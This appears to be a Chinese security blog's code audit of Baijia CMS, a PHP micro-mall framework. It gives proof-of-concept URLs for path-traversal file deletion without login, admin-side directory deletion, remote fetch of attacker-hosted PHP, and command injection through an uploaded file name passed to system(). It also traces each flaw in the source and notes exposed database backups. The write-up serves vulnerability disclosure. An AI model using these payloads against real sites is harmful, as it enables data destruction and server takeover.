百家cms代码审计
2020-04-14 10:27:59 Author: xz.aliyun.com(查看原文) 阅读量:343 收藏

之前看到有师傅在讨论,后台的正常功能被恶意利用,算不算漏洞。
我个人理解,能够造成非预期结果的,便是漏洞。
可能会有很多师傅跟我想法不同,欢迎友好讨论
求同存异,以后介绍时分开漏洞和姿势之类。

网站介绍

百家CMS微商城是一款免费开源的面向对象的多店铺多用户微商城PHP开发框架,创建于2014年6月,遵循Apache Licence2开源协议发布,是为了快速简化企业微商城应用开发、帮助微商企业快速赚钱而诞生的。

官网

建站

手动创建数据库bjcms

配置后完成安装

漏洞复现

任意文件删除
# payload
# 不需要后台权限
# 只能删除文件,不能删除文件夹

http://127.0.0.1/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../qwe.txt

设置里需要选择本地,否则删除的不是本地文件

先在根目录下创建qwe.txt作为测试文件

访问payload

查看文件,已经被删除

任意路径删除
# 需要后台权限
# 只能删除路径
http://127.0.0.1//index.php?mod=site&act=manager&do=database&op=delete&id=Li4vLi4vdGVzdA==&beid=1

根目录下创建test文件夹,里面有内容为123的test.txt文件

访问payload
将参数转为base64并方位payload


查看文件夹,已被删除

远程文件上传

我也不知道叫什么好

# 需要后台权限
http://127.0.0.1/index.php?mod=web&do=file&m=public&op=fetch&url=http://xx.xx.xx.xx/test/test.php

远程服务器起一个/test/test.php,内容为<?php echo "<?php phpinfo();";

访问payload,得到路径

访问路径,执行代码

查看本地文件

RCE
# 需要后台权限
http://127.0.0.1/index.php?mod=site&act=weixin&do=setting&beid=1

首先需要在设置里将图片缩放打开

本地创建&命令&.txt格式的文件

访问payload,并进行上传

命令执行

代码审计

代码结构
addons     插件
api        接口
assets     静态文件
attachment 上传目录
cache      缓存目录
config     系统文件
include    系统文件
system     后端代码
任意文件删除
/system/eshop/core/mobile/util/uploader.php

......
elseif ($operation == 'remove') {
    $file = $_GPC['file'];
    file_delete($file);
    show_json(1);
}
......

file的值为GET获取的参数,跟进

function file_delete($file_relative_path) {

    if(empty($file_relative_path)) {
        return true;
    }

    $settings=globaSystemSetting();
    if(!empty($settings['system_isnetattach']))
        {
                if($settings['system_isnetattach']==1)
        {
        require_once(WEB_ROOT.'/includes/lib/lib_ftp.php');
            $ftp=new baijiacms_ftp();
        if (true === $ftp->connect()) {
            if ($ftp->ftp_delete($settings['system_ftp_ftproot']. $file_relative_path)) {
                return true;
            } else {
                return false;
            }
        } else {
            return false;
        }
    } 
        if($settings['system_isnetattach']==1)
        {
        require_once(WEB_ROOT.'/includes/lib/lib_oss.php');
        $oss=new baijiacms_oss();
        $oss->deletefile($file_relative_path);
        return true;
    }
}else
{
        if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
        unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
        return true;
    }

    }
    return true;
}

$settings['system_isnetattach']的即为上文中的本地,ftp或者oss,如果本地,经过is_file的判断后,直接调用unlink删除

任意路径删除
/system/manager/class/web/database.php

if($operation=='delete')
 {
        $d = base64_decode($_GP['id']);

            $path = WEB_ROOT . '/config/data_backup/';
        if(is_dir($path . $d)) {
            rmdirs($path . $d);
            message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
        }
}

原本用于删除数据库的备份,没有做过滤,导致任意删除路径

远程文件上传
/system/public/class/web/file.php

if ($do == 'fetch') {
    $url = trim($_GPC['url']);
$file=fetch_net_file_upload($url);
    if (is_error($file)) {
        $result['message'] = $file['message'];
        die(json_encode($result));
    }

}

url为GET读取参数,跟进

function fetch_net_file_upload($url) {
    $url = trim($url);


    $extention = pathinfo($url,PATHINFO_EXTENSION );
    $path = '/attachment/';
    $extpath="{$extention}/" . date('Y/m/');

        mkdirs(WEB_ROOT . $path . $extpath);
        do {
            $filename = random(15) . ".{$extention}";
        } while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));



    $file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
        $file_relative_path = $extpath. $filename;
    if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
        $result['message'] = '提取失败.';
        return $result;
    }
        $file_full_path = WEB_ROOT .$path . $extpath. $filename;
    return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}

利用pathinfo获取后缀,与随机数拼接为文件名,将读取的文件内容写入目录下,最后将路径信息返回

RCE
/system/weixin/class/web/setting.php

......
$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
$extention=strtolower($extention);
if($extention=='txt') {
    $substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));
    if(empty( $substr)) {
        $substr="/";    
    }
    $verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";

    //file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);

    file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);

    if($verify_root!=WEB_ROOT."/") {
        copy(WEB_ROOT."/".$file['name'],$verify_root."/".$file['name']);
    }

    $cfg['weixin_hasverify']=$file['name'];
}
......

跟进file_save函数

function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true)
{

    $settings=globaSystemSetting();

        if(!file_move($file_tmp_name, $file_full_path)) {
            return error(-1, '保存上传文件失败');
        }
        if(!empty($settings['image_compress_openscale']))
        {

            $scal=$settings['image_compress_scale'];
            $quality_command='';
            if(intval($scal)>0)
            {
                $quality_command=' -quality '.intval($scal);
            }
                system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
        }
......

$settings['image_compress_openscale']即为是否缩放,经过判断后,直接将文件名传入system函数中导致RCE,上文的远程文件中,也调用了file_save函数,但文件名为随机数生成,导致无法调用

姿势

数据库泄露

后台可进行备份,格式为/随机数文件名/baijiacms-1.sql,文件名可查看,导致泄露


文章来源: http://xz.aliyun.com/t/7542
如有侵权请联系:admin#unsafe.sh